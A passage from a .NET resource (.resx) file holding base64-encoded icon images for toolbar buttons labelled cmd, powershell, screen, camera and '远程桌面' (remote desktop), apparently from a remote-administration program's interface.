ATMCAAH/AjMBAAH/ATMBZgEAAf8BMwGZAQAB/wEzAcwBAAH/ATMB/wEAAf8BZgIAAf8BZgEzAQABzAJm
|
||||
AQAB/wFmAZkBAAH/AWYBzAEAAcwBZgH/AQAB/wGZAgAB/wGZATMBAAH/AZkBZgEAAf8CmQEAAf8BmQHM
|
||||
AQAB/wGZAf8BAAH/AcwCAAH/AcwBMwEAAf8BzAFmAQAB/wHMAZkBAAH/AswBAAH/AcwB/wEAAv8BMwEA
|
||||
AcwB/wFmAQAC/wGZAQAC/wHMAQACZgH/AQABZgH/AWYBAAFmAv8BAAH/AmYBAAH/AWYB/wEAAv8BZgEA
|
||||
ASEBAAGlAQADXwEAA3cBAAOGAQADlgEAA8sBAAOyAQAD1wEAA90BAAPjAQAD6gEAA/EBAAP4AQAB8AH7
|
||||
Af8BAAGkAqABAAOAAwAB/wIAAf8DAAL/AQAB/wMAAf8BAAH/AQAC/wIAA///AP8A/wD/AP8A/wD/AP8A
|
||||
/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A
|
||||
/wD/AEgAAfNBvAHz/wC+AAG8QRIBvP8AvAAB8wG8AZJBEgG8/wC8AAG8AW0B6kESAbz/ALwAAfAB7AHr
|
||||
QRIBvP8AvAAB8gHvAexBEgG8/wC8AAH0AfIB7wHsAW07EgLqAZIBvAHz/wC+AAHxAfcB7DsSAeoBbQG8
|
||||
/wDAAAH0AfEB8AO8Ae0HEgHtI7wB7QcSAe0FvAHz/wDGAAG8BxIBvCMAAbwHEgG8/wDMAAG8BxIBvCMA
|
||||
AbwHEgG8/wDMAAG8BxIBvCMAAbwHEgG8/wDMAAG8BxIBvCMAAbwHEgG8/wDMAAG8BxIBvCMAAbwHEgG8
|
||||
/wDMAAG8BxIBvCMAAbwHEgG8/wDMAAG8BxIBvCMAAbwHEgG8/wDMAAG8BxIBvCMAAbwHEgG8/wDMAAG8
|
||||
BxIBvCMAAbwHEgG8/wDMAAG8BxIBvCMAAbwHEgG8/wDMAAG8BxIBvCMAAbwHEgG8/wDMAAG8BxIBvCMA
|
||||
AbwHEgG8/wDMAAG8BxIBvCMAAbwHEgG8/wDMAAG8Am0FEgHvAvQhAAG8BxIBvP8AzAAB8AHsAW0FEgHv
|
||||
Af8B9CEAAbwHEgG8/wDMAAHxAZIB7AUSAfcC9CEAAbwHEgG8/wDMAAHyAe8B7AUSAfcC8yEAAbwHEgG8
|
||||
/wDMAAHyAbwB7AUSAewBBwHyIQABvAcSAbz/AMwAAfMB8QGSBRIBbQHsAfAhAAG8BxIBvP8AzAAB9AHz
|
||||
AfcFEgJtAbwfAAH0AfIB7wUSAm0BvP8AzAAB9AH/Ae8HEgG8HwAB8gEHAewFEgFtAewB8P8AzAAC9AHv
|
||||
BxIB7wHyAfQdAAHwAewB6wUSAewBBwHy/wDOAAG8BxIB7AHvAfIdAAG8BxIB9wL0/wDOAAHxAZIB7AUS
|
||||
AW0B7AEHAvQZAAHzAbwB7QcSAe8C9P8AzgAB8wHyAZIHEgH3AvQZAAG8CRIBvP8A0AAB9AHzAe8HEgHs
|
||||
AfcBvAHzAfQVAAHzAbwB7QcSAewB9wHx/wDSAAG8CRIBkgHyAfMVAAG8CRIB9wLz/wDSAAHzAbwB7QcS
|
||||
AewBkgEHAfIB9A8AAvQB8QG8Ae0HEgHrAewBBwHzAfT/ANQAAbwJEgHsAe8B8g8AAvQB9wkSAewBBwHy
|
||||
/wDWAAHxAe8B7AcSAW0B7AHvArwB8AHyAfMG9AHzAfIB8AG8Ae8B9wHsCRIB7wHyAfT/ANYAAfQB/wHv
|
||||
CxIBbQHsAQcB8wH0BP8B9AHxAQcB7A0SAbz/ANgAAvQB8QG8Ae0JEgJtAewC9wPvAvcB7QHsAesJEgJt
|
||||
AZIBvAHz/wDcAAG8HxIBbQHsAfD/AN4AAfMBvAHtGxIB6wHtAe8B8AHz/wDgAAG8GxIB7QHwAfP/AOAA
|
||||
AfQB8gHvGxIB6wHtAfH/AOAAAfIBBwHsHRIBvP8A3gAB8wG8Ae8B7AHrHRIB7QG8AfEC9P8A2gABvCMS
|
||||
AfcC9P8A2AAB8wG8AZIJEgHrAewB7wu8Ae8B9wHsCRIB7AH3AfH/ANgAAbwBbQHqCRIB7AEHAfILAAL0
|
||||
AfcLEgG8/wDWAAH0AfIB7wLqBxIB7QG8AfAB8gH0CwAC9AHxAbwB7wGSAesHEgHtAbwB8/8A1AAB8gG8
|
||||
Ae0JEgG8EwAB8wHxAZIJEgG8/wDUAAHxAe0B6wcSAe0BvAHzEwAB9AHzAfEBvAHtBxIB9wHwAfP/ANIA
|
||||
AbwJEgG8GQABvAcSAW0B7AHw/wDQAAH0AfIB7wcSAe0BvAHzBwAB9AHzAfIB8QHwAbwB8QHyAvMB9AcA
|
||||
AfEB7QHrBRICbQG8/wDQAAHyAe8B7AcSAbwJAAHzAfAB7wHtAewBbQHtAQcB8ALzBwAB8gG8Ae0HEgG8
|
||||
/wDQAAHwAewBbQUSAewB9wHxBQAB9AHyAfABvAHvAe0B7AHrAW0B6gHrAewB7QH3Ae8BvAHxAvQDAAH0
|
||||
AfIB7wcSAe8B8gH0/wDOAAG8BxIB9wL0BQAB8gEHAewNEgHvAf8B9AUAAbwHEgHsAQcB8v8AzAAB9AHz
|
||||
Ae8HEgHvAvQDAAH0AfIBBwHsAesNEgHsAe8B8QUAAfEB9wHsBRIB6wHsAfD/AMwAAvMB9wcSAbwFAAHy
|
||||
AQcB7BESAbwFAAL0AfcHEgG8/wDMAAHzAfEBkgUSAesB7AHwBQAB8QH3AewREgG8BQAC9AHvBxIBvP8A
|
||||
zAAB8gG8Ae0FEgHsAQcB8gUAAfAB7AFtERIBvAcAAbwHEgG8/wDMAAHyAe8B7AUSAe0B8QHzBQAB8gEH
|
||||
AewFEgHsAvcB7wHtAewBbQUSAbwHAAG8BxIBvP8AzAAB8QGSAesFEgH3AvQFAAL0AfcFEgH3AfMB9AH/
|
||||
AfEB7wHsBRIBvAcAAbwHEgG8/wDMAAHwAewBbQUSAfcB/wH0BQAC9AHxAbwB7wH3Ae8BvAHxAfMC9AHz
|
||||
AfIB8AG8A+8BvAHzBwABvAcSAbz/AMwAAbwBbQHqBRIB7wH/AfQJAAP0CQAB9AH/AfQJAAG8BxIBvP8A
|
||||
zAABvALqBRIB7wL0CQAD9AkAA/QJAAG8BxIBvP8AzAABvAcSAbwjAAG8BxIBvP8AzAABvAcSAbwjAAG8
|
||||
BxIBvP8AzAABvAcSAbwjAAG8BxIBvP8AzAABvAcSAbwjAAG8BxIBvP8AzAABvAcSAbwjAAG8BxIBvP8A
|
||||
zAABvAcSAbwjAAG8BxIBvP8AzAABvAcSAbwjAAG8BxIBvP8AzAABvAcSAbwjAAG8BxIBvP8AzAABvAcS
|
||||
AbwjAAG8BxIBvP8AzAABvAcSAbwjAAG8BxIBvP8AzAABvAcSAbwjAAG8BxIBvP8AzAABvAcSAbwjAAG8
|
||||
BxIBvP8AzAABvAcSAbwjAAG8BxIBvP8AxgAB8wW8Ae0HEgHtI7wB7QcSAe0HvAHz/wC+AAG8QRIBvP8A
|
||||
vAAB8wG8AZJBEgG8/wC8AAG8AW0B6kESAbz/ALwAAfAB7AHrQRIBvP8AvAAB8gHvAexBEgG8/wC8AAH0
|
||||
AfIB7wHsAW07EgLqAZIBvAHz/wC+AAHxAfcB7DsSAeoBbQG8/wDAAAH0AfEB8D28AfP/AP8A/wD/AP8A
|
||||
/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A
|
||||
/wD/AP8A/wDHAAFCAU0BPgcAAT4DAAEoBAABAgIAAYADAAEBAQABAQYAASAWAAP/AQAQ/zAAEP8wABD/
|
||||
MAAQ/zAAEP8wABD/MAAQ/zAAEP8wABD/MAAQ/zAAEP8wABD/MAAQ/zAAEP8wABD/MAAQ/zAAEP8wABD/
|
||||
MAAQ/zAAEP8wAAP/Af4IAAE/A/8wAAP/Af4IAAE/A/8wAAP/AfgIAAE/A/8wAAP/AfgIAAE/A/8wAAP/
|
||||
AfgIAAE/A/8wAAP/AfgIAAE/A/8wAAP/AfgIAAE/A/8wAAP/Af4IAAT/MAAD/wH+CAAE/zAABP8B+AED
|
||||
BP8BgAE/BP8wAAT/AfgBAwT/AYABPwT/MAAE/wH4AQME/wGAAT8E/zAABP8B+AEDBP8BgAE/BP8wAAT/
|
||||
AfgBAwT/AYABPwT/MAAE/wH4AQME/wGAAT8E/zAABP8B+AEDBP8BgAE/BP8wAAT/AfgBAwT/AYABPwT/
|
||||
MAAE/wH4AQME/wGAAT8E/zAABP8B+AEDBP8BgAE/BP8wAAT/AfgBAwT/AYABPwT/MAAE/wH4AQME/wGA
|
||||
AT8E/zAABP8B+AEDBP8BgAE/BP8wAAT/AfgBAAT/AYABPwT/MAAE/wH4AQAE/wGAAT8E/zAABP8B+AEA
|
||||
BP8BgAE/BP8wAAT/AfgBAAT/AYABPwT/MAAE/wH4AQAE/wGAAT8E/zAABP8B+AEABP8BgAE/BP8wAAT/
|
||||
AfgBAAP/Af4BAAE/BP8wAAT/AfgBAAP/Af4BAAE/BP8wAAT/AfgBAAE/Av8B/gEAAT8E/zAABP8B/gEA
|
||||
AT8C/wH+AQABPwT/MAAE/wH+AQABDwL/AfgBAAE/BP8wAAT/Af4BAAEPAv8B+AEABf8wAAT/Af4BAAED
|
||||
Av8B4AEABf8wAAX/AYABAwL/AeABAAX/MAAF/wGAAQAB/wH+AgAF/zAABf8B4AEAAf8B/gEAAQMF/zAA
|
||||
Bf8B4AQAAQMF/zAABf8B4AQAAQ8F/zAABf8B4AQAAQ8F/zAABf8B/gQAAT8F/zAABf8B/gQAAT8F/zAA
|
||||
Bv8BgAMABv8wAAX/Af4EAAb/MAAF/wH+BAAG/zAABf8B+AQAAQ8F/zAABf8B+AQAAQ8F/zAABf8B4AQA
|
||||
AQ8F/zAABf8B4AEAAT8B+AEAAQ8F/zAABf8BgAEAAT8B+AEAAQMF/zAABf8BgAEDAv8BgAEDBf8wAAX/
|
||||
AYABAwL/AYABAAX/MAAF/wGAAQ8C/wH4AQAF/zAABP8B/gEAAQ8B4AEDAfgBAAX/MAAE/wH+AQABPwHg
|
||||
AQMB+AEABf8wAAT/Af4BAAE+AgABOAEAAT8E/zAABP8B/gEAAT4CAAE+AQABPwT/MAAE/wH4AQABOAIA
|
||||
AT4BAAE/BP8wAAT/AfgBAAH4AgABPgEAAT8E/zAABP8B+AEAAfgCAAE+AQABPwT/MAAE/wH4AQAB+AIA
|
||||
AT8BgAE/BP8wAAT/AfgBAAH4AgABPwGAAT8E/zAABP8B+AEAAfgCAAE/AYABPwT/MAAE/wH4AQAB+AIA
|
||||
AT8BgAE/BP8wAAT/AfgBAAH/AY8B+AH/AYABPwT/MAAE/wH4AQAB/wGPAfgB/wGAAT8E/zAABP8B+AED
|
||||
BP8BgAE/BP8wAAT/AfgBAwT/AYABPwT/MAAE/wH4AQME/wGAAT8E/zAABP8B+AEDBP8BgAE/BP8wAAT/
|
||||
AfgBAwT/AYABPwT/MAAE/wH4AQME/wGAAT8E/zAABP8B+AEDBP8BgAE/BP8wAAT/AfgBAwT/AYABPwT/
|
||||
MAAE/wH4AQME/wGAAT8E/zAABP8B+AEDBP8BgAE/BP8wAAT/AfgBAwT/AYABPwT/MAAE/wH4AQME/wGA
|
||||
AT8E/zAABP8B+AEDBP8BgAE/BP8wAAP/Af4IAAE/A/8wAAP/Af4IAAE/A/8wAAP/AfgIAAE/A/8wAAP/
|
||||
AfgIAAE/A/8wAAP/AfgIAAE/A/8wAAP/AfgIAAE/A/8wAAP/AfgIAAE/A/8wAAP/Af4IAAT/MAAD/wH+
|
||||
CAAE/zAAEP8wABD/MAAQ/zAAEP8wABD/MAAQ/zAAEP8wABD/MAAQ/zAAEP8wABD/MAAQ/zAAEP8wABD/
|
||||
MAAQ/zAAEP8wABD/MAAQ/zAAEP8wAAs=
|
||||
</value>
|
||||
</data>
|
||||
<data name="toolStripButtoncmd.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
|
||||
YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAO6SURBVHhe7Z2BalNBEEX7PyIiIiIiWsQgNk3TVL/H//En
|
||||
+hUiIiIiIiKiiIiIqHdwg8tz2ibbmGR2zoELRdq7I3PIS9vkdQcAAAAAAAAAAAAAAAAAsnJ4ePiLxE1Z
|
||||
YzteKYmTssZ2vFISJ2WN7XilJE7KGtvxSkmclDW245WSOClrbMcrtRwcHNwm2xNvR5ayxna8UosdWj4F
|
||||
NgwCJAcBkoMAyUGA5CBAchAgOQiQHARIDgIkBwGSgwDJQYDkIEByECA5CJCc8AKo72H5EBoILYC6HpbO
|
||||
x+WfYEnCCqCe+fLnQYIGQgqgjuHy50GCJQkngL7+pOXPgwRLEFGAB8rPus8JEixIOAGM6XQ6293d/eF1
|
||||
V0GCBQgpgKGO6Xg8/u71V0GCMwgrgKGuifKt7naCBKcQWgBDl4PxaDT66p1TBQlOILwAxmw2u6/eL8Nz
|
||||
BkEChy4EMNR7T/lcn+MECQZ0I4Chy8FITww/eWdWQYKKrgQw1H9X+Vif5wQJCt0JYKj/zv7+/gfv7CpI
|
||||
ILoUwNATw12d9X549iDpJehWAEPPCW7t7e2982aoklqCrgUwdNZN5a03R5W0EnQvgKHLwQ2d+2Y4xyAp
|
||||
JUghgKHLwXU9MXztzVMlnQRpBDAmk8k1ifDKm6lKKglSCWDo/KvKy3oeJ2kkSCeAoUeBK3o0eOHNViWF
|
||||
BCkFMI6Oji5rlufD2QbpXoK0Ahia5ZLyrJ7NSdcSpBbA0CwXlafenFW6lSC9AIYuBxc015PhnIN0KQEC
|
||||
CARw/79cAqpwCWjBK7VsiwCahSeBWQXg28A/pBSAHwT9JZ0AOp8fBVekEoBfBv1LGgH4dbBPCgF4QcjJ
|
||||
dC+AzuIlYafQtQB62OdFoWfQrQC8LHwxuhRA/bwxZEG6E0D9vDVsCboSQNf8//7mUJ3xaBtTxluabgRQ
|
||||
71reHq6O40HnNuS4jLc0XQiwzhtEqAcBFsUrtaxSAD38rfUWMepCgEXxSi2rEkBda79JlPoQYFG8Ussq
|
||||
BFDHRm4Tp04EWBSv1HJeAfSwv7EbRarXBNi6lPGWJpwA+npuFbtCIgrAzaJXSDgBDHVwu/gVEVIAQz38
|
||||
wYgVEFYAQ11zCVh+I6EFMNTHH406B+EFgPOBAMlBgOQgQHIQIDkIkBwESA4CJAcBkoMAyUGA5CBAchAg
|
||||
OQiQHARIDgIkZ2MCkO2JtyNLWWM7XimJk7LGdrxSEidlje14pSROyhrb8UpJnJQ1tuOVkjgpa2zHKyVx
|
||||
UtYIAAAAAAAAAAAAAAAAAMnY2fkN3xNUvLOLyt0AAAAASUVORK5CYII=
|
||||
</value>
|
||||
</data>
|
||||
<data name="toolStripButtonpowershell.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
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
|
||||
Zcv+B5nAcBNa7eAdAAAAAElFTkSuQmCC
|
||||
</value>
|
||||
</data>
|
||||
<data name="toolStripButtonscreen.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
|
||||
YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAQjSURBVHhe7Z0xi1RnFIa3Mj8hYJUqhRDEQAq7bOUyy+zM
|
||||
LmwqqxQpUoiFhZ2lCFZiJRb+gkQrq7Bd0uRXpAkpQjBpDCni+eQrls/3OHf2Xr1zzvc88DAW9zt39rzv
|
||||
zgwj4h4AAAAAAAAAAADA+zk6OrqyWq2+xvlcr9ef1zg+PHazm8fHx8/MX83X5v+4E/5tnlkhHps3alzT
|
||||
Yje4f+6GuMPaL+rTGtt47GX+2mKx+EfdCHdXK8Ere/yqxnhx2sEYyxrjxbAWvVBDMY6W4b0a53bUD3xy
|
||||
KMbSPhguaqzDsYM/t4MwplaAX2qsw1gul5+qQRhX+zB/uca7GWvMUg3BuNpb+jc13s3YxQ/VEIyrZfqo
|
||||
xrsZO3DWDvC0Vwv5FSV+HFUmjmc13s2Ui5vDrvUIzITKxJECZERl4kgBMqIycaQAGVGZOFKAjKhMHClA
|
||||
RlQmjhQgIyoTRwqQEZWJIwXIiMrEkQJkRGXiOG8BtvzacrB1fLeonThSgIyonThSgIyonThSgIyonThS
|
||||
gIyonThSgIyonThSgIyonThSgIyonThSgIyonThSgIyonTiGKkC5/yDr+G6xHaj9KeMUoFxbj8EG1P4c
|
||||
KUBG1P4cKUBG1P4cKUBG1P4cKUBG1P4cKUBG1P4cKUBG1P4cKUBG1P4cKUBG1P4cKUBG1P4c5y/ANtZj
|
||||
aSg/k+2r7HWj2/z8dr3MRThvAXqnFkDusJUCJIQCdA4F6BwK0DkUoHMoQOdQgM6hAJ1DATqHAiRF7WSs
|
||||
FCAQaidjpQCBUDsZKwUIhNrJWClAINROxkoBAqF2MlYKEAi1k7FSgEConYyVAgRC7WSsFCAQaidjpQCB
|
||||
sB2UXU0qBYDBqEwcKUBGVCaOFCAjKhNHCpARlYkjBciIysSRAmREZeJIATKiMnGkABlRmThSgIyoTBwp
|
||||
QEZUJo5bFeDH5vD7LGXB+VSZvON6vX5R493MarW6rYZgXK0Ad2u8m7GLr6shGNdt/oJp7/T09JId+qsd
|
||||
gjG1X+hXBwcHn9R4h2EHn7eDMKZWgB9qrMOxg1+a/50fhPHc39//117+P6uxbocNuNMOxFienJwsapwX
|
||||
w9rzUg3GED6vMY7DBt1qBuPu+6TGNw028MD87dwNcAddLpd/2uP3NbZpsbeDL+wT5XfmI/vzT4eHh3+0
|
||||
TwA/rpbD7/Vt+oHl8q09Xq1x9YstYfBXpFs4/Lt0mJcSVhPeFFKAKJSwmvCmkAJEoYTVhDeFFCAKJawm
|
||||
vCmkAFEoYTXhTSEFiEIJqwlvCilAFEpYTXhTSAGiUMJqwptCChCFElYT3hRSgDlZrfR/LqUsYTXhTeHb
|
||||
f7c/1Pq0YSrKUkUoOykF+ABQgM6hAJ1DATqHAnQOBegcCtA5FKBzKEDnUIDOKUuNZH3aAAAAAAAAAAAA
|
||||
ALOzt/cG0udCutvCmxYAAAAASUVORK5CYII=
|
||||
</value>
|
||||
</data>
|
||||
<data name="toolStripButtonscreen.Text" xml:space="preserve">
|
||||
<value>远程桌面</value>
|
||||
</data>
|
||||
<data name="toolStripButtoncamera.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
|
||||
YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAA1sSURBVHhe7Z17rB1FHcdJjI8oKr4iiNJaQEVFG0sVoVCK
|
||||
9qbtPff09t57YgAxFOWWihJFxCcxQDVUCdaKrQVLRfkD0VQFqaKSGpJqm9Q21EbRCkUeWusDSqKi/qGf
|
||||
n/7S3Ex/u2dmdvec3dP5Jt+ck3Pm95zZ2d3ZmdkjEhISEhISEhISEhISEhISEhISEhIGC51O58iRkZGX
|
||||
jo6OHj8+Pv6GxYsXnyaU7/Kb/CdltHhCkzExMfFKKvWcJUuWrOJzK5//CeS9NI7PwFEaxXGqNqHOoKIX
|
||||
wtVwt1GhRblLdS9Ucwl1wJRK32NUWiUUW2ozNYZ+geRPUhnb3crpA7eLL+pWQtWoUcW7TA2hSnAxdoEk
|
||||
2Ul6HbldfFW3E4qCZE4nqRucJDeBG8R3DSMhBnrU73US2yTuTb1BBFqt1rNJXhOP+ixKb3CUhpeQh7Gx
|
||||
sWlcTP3ISGKjSUw7aAQzNcwEC+12+5ShoaG/WwksgfvgNirim/A6vl/K52Khfr9O/pMyWtbSUYj0bP+i
|
||||
EYxquAlTwZF/vpW0AvwT/BZcSsW+SM14Y2Ji4oXInQNvQUepDYJG8AE1kyAgyR+1EhVKEvtzdF3L5yJV
|
||||
XRpooPOwsUJsuHYjuUxVH96gwi42khPKvei5bNasWU9XtZVBbIgtsen4EMP5qvbwBImUp3VWYnx5AK6Q
|
||||
x7iqsmcQm2JbfbB88yI9y+mq8vACXekZJOBJNyEBXEMDOknV9Q3ig/ji+OZNLnz3k4vD6+6AgI8i+J1u
|
||||
MnyJ/PmqqjbAr0tcPwO4U3KiqgYfdHufN5LQlRwtD8jsHVVTO9AbLBweHv6j5Xs3Sk5UzWCDlj5qJcCD
|
||||
d6qK2oOGsMPwvyslN6piMFGg6/+sqmgMaASrjTi6cbBPBZFd/90q3jjg+1edWLpyYE8FHBGzrIDziMyD
|
||||
Kt5YEEfwHAbJlYoPDghsnRtoHmXcvM4XfL6gS38F8TzlxteF61R8MBBz9JO4d6t440E8bTe+bhyoXoCA
|
||||
go5+gv+Uig4MJCYr1hwORi8QevRTfo88iVPxgYE+XQyaui65U/HmIqLlv19FKwFX2TOw0VG/bhfq9w7/
|
||||
TdNilUBig1bMJsUvFW0uCCRkWdZWFSsVJLIFb0a/zxH4S3ijyKh4qUB33/PRM7Tb7bcYQeXxPBUtBVKJ
|
||||
6LzDsRHCO8puCOg8z7GRS8mhijYPJC+k+9+kYqUg0HYuuSO5QdWWAnRucm1kUeJQseaBALy7O5J8rooV
|
||||
BvrWuvqLEv/uUfWFQaW+07KRwWaeBui6Xm0EY7LVaj2xYMGC56loIZDcuywbJXG9mimE4eHhF6DLey4E
|
||||
uXytijYHOO59rqPSblaxQkDPSkt/mcTGRWquENAjM5BNGy4bOSgW8uCHAAs/BsXeiKW7CootNRsN9LzL
|
||||
1ZtFGstXVKw5wHGvx74y5l/GZE6S1LPFJGJLzUaj0+k8A13/dnVbxN5uFWsGZNTLCsQiwd2mYtGgB5E1
|
||||
hKb+qig21Xw00CPrFkz9LjlQXqxi9QeVOmQFYZGyH1axaKAjZg+gotym5qMhsRt6TUpOVaz+4OgIWeWz
|
||||
